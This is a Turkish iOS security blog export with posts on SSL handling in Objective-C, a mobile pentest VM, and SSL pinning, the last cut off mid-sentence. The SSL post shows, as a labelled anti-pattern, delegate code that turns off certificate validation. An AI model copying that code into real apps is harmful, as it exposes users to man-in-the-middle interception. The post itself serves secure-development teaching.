<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-tlmz3b-c4Ks/VYlGT33U2nI/AAAAAAAAC04/SZDje88lZzk/s1600/MAR.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://1.bp.blogspot.com/-tlmz3b-c4Ks/VYlGT33U2nI/AAAAAAAAC04/SZDje88lZzk/s640/MAR.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>Not: </b>Mac Address Ranomization iPhone 5c, 5s, 6, 6 Plus, iPad Air ve iPad mini with Retina display cihazları tarafından destekleniyor.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
iOS9 ile ilgili benim dikkatimi çeken güvenlik özellikleri bunlar. iOS güvenliği hakkında daha detaylı bilgi almak için Apple tarafından yayınlanan <a href="https://www.apple.com/business/docs/iOS_Security_Guide.pdf">iOS Security Guide</a> dokümanını incelemenizi tavsiye ediyorum. iOS Security Guide'ın en son versiyonu geçtiğimiz Nisan ayında yayınlandı ve dolayısıyla iOS9 güvenlik özelliklerini içermiyor.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-18301158230911435532015-04-09T14:22:00.001+03:002015-04-17T08:54:49.093+03:00Güvenli iOS Uygulama Geliştirme I - Bağlantı Güvenliği (Objective-C)<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-o41Mq9zymBc/VSulPirkAiI/AAAAAAAACwc/tG2WYcen48M/s1600/iPhone-5-Blueprint.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-o41Mq9zymBc/VSulPirkAiI/AAAAAAAACwc/tG2WYcen48M/s1600/iPhone-5-Blueprint.png" /></a></div>
iOS uygulamalarında öntanımlı olarak SSL kontrolü yapılmaktadır. iOS SDK'nın sunmuş olduğu standart foundation sınıfları (örn: <span style="font-family: Courier New, Courier, monospace;">NSString</span>, <span style="font-family: Courier New, Courier, monospace;">NSURLConnection</span>) kullanılarak yapılan SSL bağlantılarımda, sunucuya ait SSL sertifikasının geçerlilik kontrolü yapılmaktadır. Ancak daha alt seviye C veya C++ socket fonksiyonları kullanılarak gerçekleştirilen bağlantılarda SSL sertifika kontrolü geliştirici tarafından yapılmalıdır.</div>
<div style="text-align: justify;">
<br /></div>
<div>
<div style="text-align: justify;">
Özellikle geliştirme sırasında self signed sertifika kullanan bir sunucuya bağlantı kurulmak istendiğinde hata alınmaması için bu kontrol geliştiriciler tarafından çoğunlukla devre dışı bırakılmaktadır.</div>
<br />
<div style="text-align: justify;">
iOS uygulamalarda HTTP bağlantısı yapmak için farklı metodlar uygulanabilir. Hepsinin farklı kullanım amaçları, farklı avantajları veya dezavantajları olsa da temel olarak HTTP talebi göndermek istenen bir durumda <span style="font-family: Courier New, Courier, monospace;">NSURLConnection</span>, <span style="font-family: Courier New, Courier, monospace;">NSURLSession</span> veya <span style="font-family: Courier New, Courier, monospace;">NSStream</span> sınıfları kullanılabilir.</div>
<br />
Bağlantı kurulacak URL'i belirtmek için NSURL objesi aşağıdaki şekilde oluşturulabilir.<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">NSURL *url = [ NSURL URLWithString:@"http://www.example.com" ];</span><br />
<br />
Bağlantı kurulacak URL'den gelecek veri için ise NSString ve NSData sınıflarına ait instance'lar oluşturulabilir.<br />
<div>
<br /></div>
<span style="font-family: Courier New, Courier, monospace;">NSURL *url = ...; </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">NSError *error; </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">NSString *str = [ NSString stringWithContentsOfURL:url </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> encoding:NSUTF8StringEncoding error:&error ]; </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">NSData *data = [ NSData dataWithContentsOfURL:url </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> options:NSDataReadingUncached error:&error ];</span><br />
<br />
<div style="text-align: justify;">
Burada üzerinde durulacak nokta <span style="font-family: Courier New, Courier, monospace;">NSString</span> sınıfına ait <span style="font-family: 'Courier New', Courier, monospace;">stringWithContentsOfURL</span><b style="font-family: 'Courier New', Courier, monospace;"> </b>metodu ve <span style="font-family: Courier New, Courier, monospace;">NSData</span> sınıfına ait <span style="font-family: 'Courier New', Courier, monospace;">WdataWithContentsOfURL</span><b style="font-family: 'Courier New', Courier, monospace;"> </b>metodu'nun adres olarak verilen bir HTTPS bağlantısının sertifika kontrolünü gerçekleştiriyor olmasıdır. Geçersiz sertifikaya sahip bir URL verildiğinde hata oluşturulmakta, bağlantıyı kurmamakta ve dolayısıyla geriye nil (null) döndürülmektedir*[1]. Çünkü bağlantı kurulamamış ve herhangi bir veri döndürülmemiştir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Bunun dışında HTTP talebi yapmak için <span style="font-family: Courier New, Courier, monospace;">NSURLRequest</span> ve <span style="font-family: Courier New, Courier, monospace;">NSMutableURLRequest</span> sınıflarına ait objeler de kullanılabilir. <span style="font-family: Courier New, Courier, monospace;">NSURLRequest</span> objeleri protokol ve URL şemasından bağımsız bir şekilde bir talep nesnesi oluşturulmasını sağlar. Bu talep nesnesi <span style="font-family: Courier New, Courier, monospace;">NSURLConnection</span> veya <span style="font-family: Courier New, Courier, monospace;">NSURLSession</span> sınıfna ait objelere parametre olarak verilir ve talebin gönderilmesi sağlanır. <span style="font-family: Courier New, Courier, monospace;">NSMutableURLRequest</span> objesinin özelliği HTTP spesifik özelliklerin (HTTP metodu, HTTP header'ları vb) ayarlanabilmesidir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Örnek olarak NSURLRequest objesinin oluşturulması aşağıdaki şekilde sağlanabilir:</div>
<br />
<span style="font-family: Courier New, Courier, monospace;">NSURLRequest *req = [ NSURLRequest requestWithURL:url];</span><br />
<span style="font-family: Courier New, Courier, monospace;">NSURLRequest *req2 = [ [ NSURLRequest alloc ] initWithURL :url ];</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">NSMutableURLRequest *req3 = [ NSMutableURLRequest requestWithURL:url];</span><br />
<span style="font-family: Courier New, Courier, monospace;">[req3 setHTTPMethod:@"GET"];</span><br />
<br />
<span style="font-family: Courier New, Courier, monospace;">NSURLRequest</span> sınıfının <span style="font-family: Courier New, Courier, monospace;">setAllowsAnyHTTPSCertificate</span> adında Boolean bir parametre alan private bir metodu vardır. Bu metod ile SSL sertifika validasyonunu devre dışı bırakılabilir*[4].<br />
<br />
Bundan sonra yapılacak olan şey bu request objesini <span style="font-family: Courier New, Courier, monospace;">NSURLConnection</span> veya <span style="font-family: Courier New, Courier, monospace;">NSURLSession</span> objesine ait metoda parametre olarak vermektir.<br />
<br />
NSURLConnection senkron veya asenkron bağlantı kurmak mümkündür.<br />
Senkron Bağlantı:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">NSError *error;</span><br />
<span style="font-family: Courier New, Courier, monospace;">NSURLResponse *response = nil;</span><br />
<span style="font-family: Courier New, Courier, monospace;">NSData *data = [ NSURLConnection sendSynchronousRequest:req </span><br />
<span style="font-family: Courier New, Courier, monospace;"> returningResponse:&response error:&error ];</span><br />
<br />
Asenkron bağlantı:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">[NSURLConnection sendAsynchronousRequest:req </span><br />
<span style="font-family: Courier New, Courier, monospace;"> queue:[ NSOperationQueue currentQueue ] </span><br />
<span style="font-family: Courier New, Courier, monospace;"> completionHandler:^(NSURLResponse *response, </span><br />
<span style="font-family: Courier New, Courier, monospace;"> NSData *data, NSError *connectionError) </span><br />
<span style="font-family: Courier New, Courier, monospace;"> {</span><br />
<span style="font-family: Courier New, Courier, monospace;"> // ...</span><br />
<span style="font-family: Courier New, Courier, monospace;"> }</span><br />
<span style="font-family: Courier New, Courier, monospace;">];</span><br />
<br />
<div style="text-align: justify;">
Şeklinde sağlanabilir. Bunun dışında asenkron bağlantı sırasında oluşan event'leri yakalayıp bunlara yönelik işlem yapmak istiyorsak delegate protokolü üzerinden bunu gerçekleştirebiliriz. <span style="font-family: Courier New, Courier, monospace;">NSURLConnection</span> sınıfına ait delegate, <span style="font-family: Courier New, Courier, monospace;">NSURLConnectionDelegate</span> 'dir. <span style="font-family: Courier New, Courier, monospace;">NSURLConnectionDelegate</span> 'e ait metodlar üzerinden asenkron bağlantıya ait eventler yakalanabilir ve aksiyon alınabilir. Bunun için <span style="font-family: Courier New, Courier, monospace;">NSURLConnection</span> objesi ile bağlantı oluşturulurken delegate parametresi ile delegate belirtilmelidir.</div>
<br />
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"><span class="s1">NSURLConnection</span><span class="s2"> *conn = [[ </span><span class="s1">NSURLConnection</span><span class="s2"> </span><span class="s3">alloc</span><span class="s2"> ] </span><span class="s3">initWithRequest</span><span class="s2">:req </span><b><span class="s3">delegate</span><span class="s2">:</span><span class="s4">self</span></b><span class="s2"><b> </b>];</span></span></div>
<div class="p1">
<span class="s2"><br /></span></div>
<div class="p1">
<span class="s2">Delegate içerisinde de farklı eventler yakalanarak işlem yapılabilmektedir. Örneğin:</span></div>
<div class="p1">
<span class="s2"><br /></span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">- ( void )connection: (NSURLConnection *) </span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"> connection didReceiveData: (NSData *)data</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"> //received bytes"</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">- ( void )connection: (NSURLConnection *) connection </span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"> didReceiveResponse: (NSURLResponse *) response</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"> //received response</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<br />
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">- ( void )connectionDidFinishLoading: (NSURLConnection *) connection</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"> //loading finished</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">- ( void )connection: (NSURLConnection *) connection </span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"> didFailWithError: (NSError *) error</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"> //loading failed</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<div class="p1">
<br /></div>
<div class="p1" style="text-align: justify;">
Buraya kadar güvenlik konusundan çok bahsetmedik, tam da bu noktada güvenlik yapılandırması devreye giriyor. Çünkü <span style="font-family: Courier New, Courier, monospace;">NSURLConnectionDelegate</span> içerisinde uygulamanın bağlantı kurmaya çalıştığı sunucudan bir sertifika gelmesi durumunda tetiklenen metodlar bulunuyor. Bu metodlar içerisinde yer alan <span style="font-family: Courier New, Courier, monospace;">NSURLProtectionSpace</span> sınıfı üzerinden sunucunun sertifika bilgisine erişlebilmektedir. <span style="font-family: Courier New, Courier, monospace;">NSURLProtectionSpace</span> 'in <span style="font-family: Courier New, Courier, monospace;">authenticationMethod</span> adında bir property'si vardır. Bu property'nin değeri <span style="font-family: Courier New, Courier, monospace;">serverTurst</span> ise bu durum sunucunun sertifika tabanlı bir şekilde doğrulanacağı anlamına gelmektedir.</div>
<div class="p1">
<br /></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">-(void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"> //What you do if the server certificate is or is not in our trust store?</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">-(BOOL)connection:(NSURLConnection *)connection canAuthenticateAgainstProtectionSpace:(<b>NSURLProtectionSpace</b> *)protectionSpace</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"> //Does server certificate in out trust store?</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<div>
<br />
Bu metodların içerisi geliştirme sırasında sertifika validasyonunu devre dışı bırakacak şekilde doldurulabilir. (<u>Bu örnek, güvenlik açısından yapılmaması gereken bir işlemi göstermektedir</u>)<br />
<br />
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">-(BOOL)connection:(NSURLConnection *)connection canAuthenticateAgainstProtectionSpace:(NSURLProtectionSpace *)protectionSpace</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"> if ( [ [ protectionSpace authenticationMethod ] </span><br />
<span style="font-family: Courier New, Courier, monospace;"> isEqualToString: NSURLAuthenticationMethodServerTrust ]) {</span><br />
<span style="font-family: Courier New, Courier, monospace;"> <b>return YES</b>; </span><br />
<span style="font-family: Courier New, Courier, monospace;"> }</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">}</span></div>
<br />
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">-(void)connection:(NSURLConnection *)connection didReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge *)challenge</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;"> if ( [ challenge.protectionSpace.authenticationMethod </span><br />
<span style="font-family: Courier New, Courier, monospace;"> isEqualToString:NSURLAuthenticationMethodServerTrust ]) </span><br />
<span style="font-family: Courier New, Courier, monospace;"> { </span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> [ challenge.sender useCredential: </span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> [ NSURLCredential credentialForTrust: </span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> challenge.protectionSpace.serverTrust] </span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> forAuthenticationChallenge: challenge]; </span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> } </span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> [ challenge.sender </span><br />
<span style="font-family: 'Courier New', Courier, monospace;"> <b>continueWithoutCredentialForAuthenticationChallenge</b>: challenge ];</span></div>
<div class="p1">
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
</div>
<div class="p1">
<br />
<div style="text-align: justify;">
Delegate metodlarının bu şekilde doldurulması bağlanılan sunucunun SSL sertifikasının valide edilememesi durumunda bile bir hata oluşturulmadan uygulamanın çalışmaya devam etmesini sağlayacaktır. Bu da herhangi bir araya girme saldırısı durumunda SSL kullanılıyor olmasına rağmen saldırganın kullanıcının hassas verilerine erişebilmesini netice verecektir. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: left;">
Bir diğer yöntem olarak da yine <span style="font-family: Courier New, Courier, monospace;">NSURLConnection </span><span style="font-family: inherit;">sınıfının delegate'ine</span><span style="font-family: Courier New, Courier, monospace;"> </span>ait <span style="font-family: Courier New, Courier, monospace;">willSendRequestForAuthenticationChallenge</span> metodunun içeriği de modifiye edilerek SSL kontrolü devre dışı bırakılabilir*[2].</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Bunun yerine yapılması gereken şey sunucunun sertifikasının CA'inin cihazdaki trusted CA listesi yer alıp almadığının kontrol edilmesidir. Bir adım öteye gidilecek olursa, cihazdaki trusted CA listesinin de manipüle edilebileceği göz önüne alınarak uygulamanın sadece kendi sertifikasına güvenmesinin sağlanması yani Certificate Pinning uygulanmasıdır. Certificate Pinning uygulamak için en kısa yollardan bir tanesi sunucuya ait public key'in uygulama içerisine gömülmesi ve sunucudan gelen sertifika ile uygulama içine gömülen bu sertifikanın kıyaslanmasıdır*[3].<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">NSStream</span> sınıfı kullanılarak bağlantı kurulması durumunda SSL verisyonunun güçlü bir seviyeye çekildiğinden emin olunmalıdır. Bu bağlamda <span style="font-family: Courier New, Courier, monospace;">NSStreamSocketSecurityLevelSSLv3</span> veya <span style="font-family: Courier New, Courier, monospace;">NSStreamSocketSecurityLevelTLSv1</span> kullanılarak güçlü bir SSL yapılandırılması tercih edilmelidir. Örnek kullanım aşağıdaki gibidir*[5].<br />
<br />
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">NSHost *myhost = [ NSHosthostWithName: [ @"www.conglomco.com" ] ];</span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">[ NSStream getStreamsToHost: myhost</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"> port: 443</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span> inputStream: &MyInputStream</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><span class="Apple-tab-span" style="white-space: pre;"> </span>outputStream: &MyOutputStream ];</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">[ MyInputStream setProperty : <b>NSStreamSocketSecurityLevelTLSv1</b> </span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"> forKey: NSStreamSocketSecurityLevelKey ];</span></div>
</div>
<div style="text-align: justify;">
<br /></div>
</div>
<br />
<span style="font-size: x-small;">*[1] http://stackoverflow.com/questions/3755347/self-signed-ssl-certificates-and-stringwithcontentsofurl</span><br />
<span style="font-size: x-small;">*[2] http://www.cardinalsolutions.com/blog/2013/03/ios_application_wide</span><br />
<span style="font-size: x-small;">*[3] http://www.indelible.org/ink/trusted-ssl-certificates/</span><br />
<span style="font-size: x-small;">*[4] https://www.cocoanetics.com/2009/11/ignoring-certificate-errors-on-nsurlrequest/</span><br />
<span style="font-size: x-small;">*[5] https://www.isecpartners.com/media/12964/ios_secure_development_source_boston_2011.pdf</span><br />
<span style="font-size: x-small;">*[6] http://mobdev.ce.unipr.it/2013/download/%5B17%5D%20Blocks,%20Concurrency,%20Networking.pdf</span><br />
<span style="font-size: x-small;">*[7] https://media.blackhat.com/bh-us 12/Turbo/Diquet/BH_US_12_Diqut_Osborne_Mobile_Certificate_Pinning_Slides.pdf</span><br />
<span style="font-size: x-small;">*[8] http://info.nowsecure.com/rs/nowsecure/images/secure-mobile-development.pdf</span><br />
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-45660350402522215972015-04-01T09:02:00.000+03:002015-04-01T13:33:32.868+03:00Mobil Güvenlik Okuma Odası / Mobile Security Reading Room<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-AE9vFsrhPt4/VRj_4DN_mmI/AAAAAAAACv0/6cIma2A_3ME/s1600/mobiles%2Becurity%2Bzeef.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-AE9vFsrhPt4/VRj_4DN_mmI/AAAAAAAACv0/6cIma2A_3ME/s1600/mobiles%2Becurity%2Bzeef.png" height="432" width="640" /></a></div>
<div style="text-align: justify;">
[TR] Bir süredir mobil güvenlik ile ilgili okuduğum yazıları, kitapları, whitepaper'ları biraraya getirmek ve bir referans listesi oluşturmak istiyordum. Özellikle daha önce okuduğum ve beğendiğim bir teknik yazıyı bir yerlerde tutmak ve tekrar lazım olduğunda konu başlığına göre kolayca ulaşmak benim için önemli bir ihtiyaç oluyor. Bunun için konu başlıklarına göre makaleler, sunumlar, ve hatta herhangi bir kitabın içerisindeki chapter'lar'ı içeren bir sayfa oluşturmaya karar verdim ve ZEEF üzerinden bir mobil güvenlik sayfası açtım. Aklıma geldikçe, yeni bir şeyler okudukça buraya ekleme yapacağım. Eğer siz de bu referans listesine ve okuma odasına katkıda bulunmak istiyorsanız ZEEF üzerinden bana konu başlıkları ve linkler önerebilirsiniz. Mobile Security ZEEF sayfama "Okuma Odası" menüsü üzerinden veya <a href="https://mobile-security.zeef.com/oguzhan.topgul">https://mobile-security.zeef.com/oguzhan.topgul</a> bağlantısını takip ederek ulaşabilirsiniz.</div>
<br />
<div style="text-align: justify;">
[EN] For a while, I've been thinking about to create a reading room and reference list which contains technical reading material that I read so far. It is necessary for me to create a well categorised technical reading room for future access. That's why I decided to create a web page and reference my previously read papers, technical presentations and book chapters. It is based on ZEEF and I'm planning to add more reading materials as I read. Please feel free to suggest some new categories and reading materials by using the suggestion functionality on ZEEF. You can access my Mobile Security ZEEF page by using the "Reading Room" menu in the navigation bar or following <a href="https://mobile-security.zeef.com/oguzhan.topgul">https://mobile-security.zeef.com/oguzhan.topgul</a> link.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-39757630732179003052015-01-20T12:06:00.000+02:002015-01-26T09:23:05.934+02:00Vezir Project - Yet Another Linux Virtual Machine for Mobile Application Pentesting and Mobile Malware Analysis<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-DpFqmbNwPZE/VL4nQTTg8tI/AAAAAAAACro/RKRvCNiVjWk/s1600/Vezir.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-DpFqmbNwPZE/VL4nQTTg8tI/AAAAAAAACro/RKRvCNiVjWk/s1600/Vezir.png" height="344" width="400" /></a></div>
<div style="text-align: justify;">
Mobil uygulama testleri için gerekli ortamın kurulması özellikle yeni başlayanlar için problem olabilen bir konu. Bunun için genellikle hazır Linux dağıtımları kullanılıyor. Bu hazır dağıtımlar içerisinde gerekli araçları düzgün ayarlar ile yapılandırılmış olarak bulabilmek mümkün. Aşağıda en popüler mobil güvenlik Linux dağıtımlarını bulabilirsiniz:</div>
<div style="text-align: justify;">
</div>
<ul>
<li style="text-align: left;">OWASP Mobisec: <a href="https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_MobiSec">https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_MobiSec</a></li>
<li style="text-align: justify;">Android Tamer: <a href="https://androidtamer.com/">https://androidtamer.com/</a></li>
<li style="text-align: justify;">Santoku: <a href="https://santoku-linux.com/">https://santoku-linux.com/</a></li>
</ul>
<span style="text-align: justify;">Ancak bu dağıtımların en büyük problemi çok sık güncellenmiyor olmaları. Bakıldığı zaman bazı dağıtımlar birkaç yıldır güncellenmeden kullanılmaya devam ediliyor. Bu hem güvenlik açısından istenmeyen bir durum hem de bu süre zarfında dağıtımların içerisinde yer alan araçlar güncelleniyor. </span><br />
<div>
<span style="text-align: justify;">Bazı dağıtımlarda güvenlik testleri sırasında aktif olarak kullanılan bazı araçların çalışmadığını görebilmek bile mümkün. </span><br />
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Bu sebeple mobil güvenlik testleri ve mobil zararlı yazılım analizlerinde kullanılabilecek Ubuntu 14.04 üzerine inşa edilmiş bir Linux dağıtımı hazırladım. Adı <b>Vezir</b>.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Vezir'e kendimce gerekli gördüğüm araçları kurdum. Kurduğum bazı araçların listesi aşağıda yer alıyor:</div>
<ul>
<li style="box-sizing: border-box;">Eclipse</li>
<li style="box-sizing: border-box;">Android SDK</li>
<li style="box-sizing: border-box;">Android NDK</li>
<li style="box-sizing: border-box;">libimobiledevice library</li>
<li style="box-sizing: border-box;">BinaryCookieReader</li>
<li style="box-sizing: border-box;">androguard</li>
<li style="box-sizing: border-box;">Drozer</li>
<li style="box-sizing: border-box;">JD-GUI</li>
<li style="box-sizing: border-box;">Jadx</li>
<li style="box-sizing: border-box;">dex2jar</li>
<li style="box-sizing: border-box;">Hopper</li>
<li style="box-sizing: border-box;">IDA Demo</li>
<li style="box-sizing: border-box;">plutil</li>
<li style="box-sizing: border-box;">baksmali</li>
<li style="box-sizing: border-box;">apktool</li>
<li style="box-sizing: border-box;">sqlmap</li>
<li style="box-sizing: border-box;">BurpSuite Free</li>
<li style="box-sizing: border-box;">Wireshark</li>
<li style="box-sizing: border-box;">sqlite3</li>
<li style="box-sizing: border-box;">sqlitebrowser</li>
<li style="box-sizing: border-box;">AXMLPrinter2</li>
</ul>
<div style="text-align: justify;">
Bu araçlar <span style="font-family: Courier New, Courier, monospace;"><b>/home/vezir/ambar/</b></span> dizini altında yer alıyor ve birçoğu PATH'e eklenmiş durumda.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Vezir'i OVA formatında indirmek için aşağıdaki bağlantıyı kullanabilirsiniz:</div>
<div style="text-align: justify;">
<a href="https://github.com/oguzhantopgul/Vezir-Project">https://github.com/oguzhantopgul/Vezir-Project </a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Eğer mobil güvenlik testleri ile ilgili işe yaradığını düşündüğünüz ancak Vezir'de bulunmayan bir araç varsa yorum bölümüne ekleyebilirseniz ben de en kısa zamanda Vezir içerisine ekleyebilirim.</div>
</div>
Unknownnoreply@blogger.com4tag:blogger.com,1999:blog-880810377140693460.post-67822794862227497862015-01-03T23:12:00.000+02:002015-01-20T13:17:41.238+02:00iOS SSL Certificate Pinning ve Uygulama Testlerinde SSL Certificate Pinning'in Devre Dışı Bırakılması<div style="text-align: justify;">
<a href="http://www.oguzhantopgul.com/2012/02/mobil-uygulamalarda-proxy-yazlmlar-ile.html">Daha önceki yazımızda</a> iOS uygulamalarında proxy yazılımları ile araya girme konusundan bahsetmiştik. Aktif network analizi olarak tanımlanabilecek bu yöntemde, araya girmek için kullanılan interception proxy yazılımlarının CA sertifikası cihazdaki trusted certificate authority listesine eklenerek cihazın interception proxy tarafından üretilen sertifikaya güvenmesi sağlanmaktadır. </div>
<div style="text-align: justify;">
Interception proxy yazılımları her host için kendi imzaladıkları bir SSL sertifikası üretirler. Bu sertifikayı üretmek için kullanılan CA, trusted listeye eklendiğinden uygulamalar araya girilirken gönderilen sertifikaya güvenirler ve SSL hatası üretmezler. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-IunIPYWUd6E/VLF4MAOA6YI/AAAAAAAACpY/BvLElpqAbIw/s1600/generate%2Bperhost%2Bcert.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-IunIPYWUd6E/VLF4MAOA6YI/AAAAAAAACpY/BvLElpqAbIw/s1600/generate%2Bperhost%2Bcert.png" height="236" width="400" /></a></div>
<div style="text-align: justify;">
Normal şartlarda client tarafındaki trust listesine güvenmek uygulamalar için bir güvenlik riski oluşturur. Çünkü kullanıcılar tarafından kontrol edilen ve yönetilen bir cihazdaki CA listesine güvenilmeyen bir CA sertifikası eklenerek Man In The Middle saldırısı gerçekleştirilebilir. Bu problemin çözümü için uygulanan en etkili yöntem cihazdaki trusted CA listesine güvenmemek ve sunucuya ait SSL sertifikasını uygulamanın kendi içerisine eklemektedir. Bu yöntem SSL Pinning olarak adlandırılmaktadır. </div>
<div style="text-align: justify;">
SSL Certificate Pinning sayesinde sızma testleri sırasında interception proxy'nin CA sertifikasının cihazdaki trusted listeye eklenmesi de araya girmek için yeterli olmayacaktır. Çünkü uygulama kendi trusted listesini kendi içerisinde saklamaktadır. </div>
<div style="text-align: justify;">
iOS Uygulamalarında Certificate Pinning <span style="font-family: Courier New, Courier, monospace;">NSURLConnectionDelegate </span>ile yapılmaktadır. <span style="font-family: Courier New, Courier, monospace;">NSURLConnectionDelegate</span> içerisinde </div>
<div>
<blockquote class="tr_bq" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">connection:canAuthenticateAgainstProtectionSpace:</span> </blockquote>
<div style="text-align: justify;">
ve</div>
<blockquote class="tr_bq" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">connection:didReceiveAuthenticationChallenge:</span> </blockquote>
<div style="text-align: justify;">
metodları implemente edilerek Certificate Pinning gerçekleştirilebilir. OWASP tarafından yayınlanan <a href="https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning">Certificate and Public Key Pinning</a> yazısında iOS uygulamalarında Certificate Pinning'in nasıl impelente edileceğini örnekleyen bir kod bulunmaktadır. Ancak yukarıda adı geçen metodlar güncel sistemlerde kullanılmamaktadır. iOS 8 ile birlikte bu metodlar kullanılması onaylanmayan (deprecated) metodlar olarak belirtilmektedir. Bu metodların yerine </div>
<blockquote class="tr_bq" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">connection:willSendRequestForAuthenticationChallenge: </span></blockquote>
<div style="text-align: justify;">
